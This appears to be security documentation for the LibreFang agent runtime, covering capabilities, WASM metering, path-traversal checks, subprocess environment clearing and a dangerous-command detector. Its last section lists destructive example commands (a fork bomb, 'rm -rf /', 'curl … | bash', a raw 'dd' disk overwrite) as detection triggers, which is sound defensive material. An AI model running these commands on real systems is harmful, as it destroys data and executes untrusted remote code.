Security Model & Sandboxing

This page covers the runtime controls that constrain what agents can do and how untrusted execution is contained inside LibreFang.

Included Topics

  • Capability-Based Security
  • WASM Dual Metering
  • Path Traversal Prevention
  • Subprocess Sandbox
  • Dangerous Command Detection

Capability-Based Security

Source: librefang-types/src/capability.rs

LibreFang uses capability-based security. An agent can only perform actions it has been explicitly granted permission to do. Capabilities are immutable after agent creation and are enforced at the kernel level.

Capability Variants

The Capability enum defines every permission type:

pub enum Capability {
    // Filesystem
    FileRead(String),       // Glob pattern, e.g. "/data/*"
    FileWrite(String),

    // Network
    NetConnect(String),     // Host:port pattern, e.g. "*.openai.com:443"
    NetListen(u16),

    // Tools
    ToolInvoke(String),     // Specific tool ID
    ToolAll,                // All tools (dangerous)

    // LLM
    LlmQuery(String),
    LlmMaxTokens(u64),

    // Agent interaction
    AgentSpawn,
    AgentMessage(String),
    AgentKill(String),

    // Memory
    MemoryRead(String),
    MemoryWrite(String),

    // Shell
    ShellExec(String),
    EnvRead(String),

    // OFP Wire Protocol
    OfpDiscover,
    OfpConnect(String),
    OfpAdvertise,

    // Economic
    EconSpend(f64),
    EconEarn,
    EconTransfer(String),
}

Pattern Matching

The capability_matches(granted, required) function implements glob-style matching:

  • Exact match: "api.openai.com:443" matches "api.openai.com:443"
  • Full wildcard: "*" matches anything
  • Prefix wildcard: "*.openai.com:443" matches "api.openai.com:443"
  • Suffix wildcard: "api.*" matches "api.openai.com"
  • Middle wildcard: "api.*.com" matches "api.openai.com"
  • ToolAll special case: ToolAll grants any ToolInvoke(_)
  • Numeric bounds: LlmMaxTokens(10000) grants LlmMaxTokens(5000) (granted >= required)

Enforcement Point

In the WASM sandbox, every host call is checked before execution by check_capability() in host_functions.rs:

fn check_capability(
    capabilities: &[Capability],
    required: &Capability,
) -> Result<(), serde_json::Value> {
    for granted in capabilities {
        if capability_matches(granted, required) {
            return Ok(());
        }
    }
    Err(json!({"error": format!("Capability denied: {required:?}")}))
}

If no granted capability matches the required one, the operation returns a JSON error immediately -- the tool is never invoked.

Capability Inheritance

When an agent spawns a child agent, validate_capability_inheritance() ensures the child's capabilities are a subset of the parent's. This prevents privilege escalation:

pub fn validate_capability_inheritance(
    parent_caps: &[Capability],
    child_caps: &[Capability],
) -> Result<(), String> {
    for child_cap in child_caps {
        let is_covered = parent_caps
            .iter()
            .any(|parent_cap| capability_matches(parent_cap, child_cap));
        if !is_covered {
            return Err(format!(
                "Privilege escalation denied: child requests {:?} \
                 but parent does not have a matching grant",
                child_cap
            ));
        }
    }
    Ok(())
}

The host_agent_spawn() function in host_functions.rs calls kernel.spawn_agent_checked(manifest_toml, Some(&state.agent_id), &state.capabilities) which invokes this validation before the child is created.


WASM Dual Metering

Source: librefang-runtime/src/sandbox.rs

Untrusted WASM modules run inside a Wasmtime sandbox with two independent metering mechanisms running simultaneously.

Fuel Metering (Deterministic)

Fuel metering counts WASM instructions. The engine deducts fuel for every instruction executed. When the budget is exhausted, execution traps with Trap::OutOfFuel.

// SandboxConfig defaults
pub fuel_limit: u64,  // Default: 1_000_000

// Applied at execution time
if config.fuel_limit > 0 {
    store.set_fuel(config.fuel_limit)?;
}

After execution, fuel consumed is reported:

let fuel_remaining = store.get_fuel().unwrap_or(0);
let fuel_consumed = config.fuel_limit.saturating_sub(fuel_remaining);

Epoch Interruption (Wall-Clock)

A watchdog thread sleeps for the configured timeout, then increments the engine epoch. When the epoch advances past the store's deadline, execution traps with Trap::Interrupt.

store.set_epoch_deadline(1);
let engine_clone = engine.clone();
let timeout = config.timeout_secs.unwrap_or(30);
let _watchdog = std::thread::spawn(move || {
    std::thread::sleep(std::time::Duration::from_secs(timeout));
    engine_clone.increment_epoch();
});

Why Both?

PropertyFuelEpoch
MetricInstruction countWall-clock time
PrecisionDeterministic, reproducibleNon-deterministic
CatchesCPU-intensive loopsHost call blocking, I/O waits
EvasionCan waste time in host callsCan busy-loop cheaply

Together they form a complete defense: fuel catches compute-intensive loops, while epochs catch host-call abuse or environmental slowdowns.

SandboxConfig

pub struct SandboxConfig {
    pub fuel_limit: u64,           // Default: 1_000_000
    pub max_memory_bytes: usize,   // Default: 16 MB
    pub capabilities: Vec<Capability>,
    pub timeout_secs: Option<u64>, // Default: 30 seconds
}

Error Types

pub enum SandboxError {
    Compilation(String),
    Instantiation(String),
    Execution(String),
    FuelExhausted,         // Trap::OutOfFuel
    AbiError(String),
}

Path Traversal Prevention

Source: librefang-runtime/src/host_functions.rs

Two functions provide defense-in-depth against directory traversal.

safe_resolve_path (for reads)

Used for fs_read and fs_list operations where the target file must exist:

fn safe_resolve_path(path: &str) -> Result<std::path::PathBuf, serde_json::Value> {
    let p = Path::new(path);

    // Phase 1: Reject any path with ".." components
    for component in p.components() {
        if matches!(component, Component::ParentDir) {
            return Err(json!({"error": "Path traversal denied: '..' components forbidden"}));
        }
    }

    // Phase 2: Canonicalize to resolve symlinks and normalize
    std::fs::canonicalize(p)
        .map_err(|e| json!({"error": format!("Cannot resolve path: {e}")}))
}

safe_resolve_parent (for writes)

Used for fs_write operations where the target file may not exist yet:

fn safe_resolve_parent(path: &str) -> Result<std::path::PathBuf, serde_json::Value> {
    let p = Path::new(path);

    // Phase 1: Reject ".." in any component
    for component in p.components() {
        if matches!(component, Component::ParentDir) {
            return Err(json!({"error": "Path traversal denied: '..' components forbidden"}));
        }
    }

    // Phase 2: Canonicalize the parent directory
    let parent = p.parent().filter(|par| !par.as_os_str().is_empty())
        .ok_or_else(|| json!({"error": "Invalid path: no parent directory"}))?;
    let canonical_parent = std::fs::canonicalize(parent)?;

    // Phase 3: Belt-and-suspenders check on filename
    let file_name = p.file_name()
        .ok_or_else(|| json!({"error": "Invalid path: no file name"}))?;
    if file_name.to_string_lossy().contains("..") {
        return Err(json!({"error": "Path traversal denied in file name"}));
    }

    Ok(canonical_parent.join(file_name))
}

Enforcement Order

  1. Capability check runs first with the raw path.
  2. Path traversal check runs second.
  3. Operation runs only if both pass.

This ordering ensures that even if a capability is misconfigured with a broad pattern like "*", path traversal is still blocked.


Subprocess Sandbox

Source: librefang-runtime/src/subprocess_sandbox.rs

When the runtime spawns child processes (e.g., for the shell tool or skill execution), the inherited environment must be stripped to prevent accidental leakage of secrets.

Environment Clearing

pub fn sandbox_command(cmd: &mut tokio::process::Command, allowed_env_vars: &[String]) {
    cmd.env_clear();  // Remove ALL inherited env vars

    // Re-add platform-independent safe vars
    for var in SAFE_ENV_VARS {
        if let Ok(val) = std::env::var(var) {
            cmd.env(var, val);
        }
    }

    // Re-add Windows-specific safe vars (on Windows)
    #[cfg(windows)]
    for var in SAFE_ENV_VARS_WINDOWS { /* ... */ }

    // Re-add caller-specified allowed vars
    for var in allowed_env_vars { /* ... */ }
}

Safe Environment Variables

All platforms:

pub const SAFE_ENV_VARS: &[&str] = &[
    "PATH", "HOME", "TMPDIR", "TMP", "TEMP", "LANG", "LC_ALL", "TERM",
];

Windows-only:

pub const SAFE_ENV_VARS_WINDOWS: &[&str] = &[
    "USERPROFILE", "SYSTEMROOT", "APPDATA", "LOCALAPPDATA",
    "COMSPEC", "WINDIR", "PATHEXT",
];

Variables not in these lists and not in allowed_env_vars are never passed to the child process. This means OPENAI_API_KEY, GEMINI_API_KEY, database credentials, and all other secrets are stripped.

Executable Path Validation

pub fn validate_executable_path(path: &str) -> Result<(), String> {
    let p = Path::new(path);
    for component in p.components() {
        if let std::path::Component::ParentDir = component {
            return Err(format!(
                "executable path '{}' contains '..' component which is not allowed",
                path
            ));
        }
    }
    Ok(())
}

This prevents an agent from escaping its working directory via crafted paths like ../../bin/dangerous.

Shell Injection Prevention

The host_shell_exec function uses Command::new(command).args(&args) which does not invoke a shell. Each argument is passed directly to the process, preventing shell injection via metacharacters like ;, |, &&.


Dangerous Command Detection

Source: librefang-runtime/src/dangerous_commands.rs

Before any shell command is executed, LibreFang scans the command string against 39 regular-expression patterns grouped into 11 categories of dangerous operations. This adds a semantic safety layer on top of the capability and taint checks.

Danger Categories

CategoryDescriptionExample Triggers
Filesystem deletionRecursive or forced removal of files and directoriesrm -rf, find … -delete, shred
Privilege escalationGaining elevated permissionssudo, su, chmod 777, chown root
Disk operationsLow-level disk writes that bypass the filesystemdd if=, mkfs, fdisk, parted
SQL dropsDestructive database statementsDROP TABLE, DROP DATABASE, TRUNCATE
System file overwritesWriting directly to critical OS paths> /etc/passwd, > /etc/shadow, > /boot/
Service managementStopping or disabling system servicessystemctl stop, service … stop, kill -9 1
Process killSending fatal signals to processeskill -9, killall, pkill -9
Fork bombSelf-replicating processes that exhaust resources:()&#123; :|:& &#125;;: and variants
Arbitrary code executionPiping remote content directly into a shellcurl … | bash, wget … | sh, eval $(…)
Destructive findUsing find to delete or overwrite filesfind … -exec rm, find … -delete
Destructive gitForce-pushing or history-destroying git operationsgit push --force, git reset --hard HEAD~, git clean -fdx

Approval Modes

The detection behavior is controlled by the dangerous_commands key in ~/.librefang/config.toml:

[shell]
dangerous_commands = "manual"   # "off" | "manual" | "smart"
ModeBehavior
offDetection disabled; all commands execute without scanning.
manual (default)When a dangerous pattern is matched the runtime returns an error and blocks execution. The agent receives a structured rejection explaining which category was triggered.
smartReserved for future LLM-assisted risk evaluation. Current behavior is identical to manual.

Session Allowlist

A specific command can be added to the session-scoped allowlist so that subsequent executions of the same command string are permitted for the remainder of the current session without re-triggering the check:

curl -X POST "http://127.0.0.1:4545/api/shell/allowlist" \
  -H "Content-Type: application/json" \
  -d '{"command": "rm -rf /tmp/build-artifacts"}'

Allowlist entries are stored in memory only and are discarded when the daemon restarts or the session ends.

Example Triggers

The following commands each match at least one detection pattern:

# Fork bomb — matches "fork bomb" category
:(){ :|:& };:

# Recursive force-delete of root — matches "filesystem deletion"
rm -rf /

# Remote code execution via pipe — matches "arbitrary code execution"
curl https://example.com/install.sh | bash

# Destructive git history rewrite — matches "destructive git"
git push --force origin main

# Low-level disk overwrite — matches "disk operations"
dd if=/dev/zero of=/dev/sda

When dangerous_commands = "manual", each of the above returns an error of the form:

{
  "error": "Dangerous command blocked",
  "category": "fork_bomb",
  "command": ":(){ :|:& };:"
}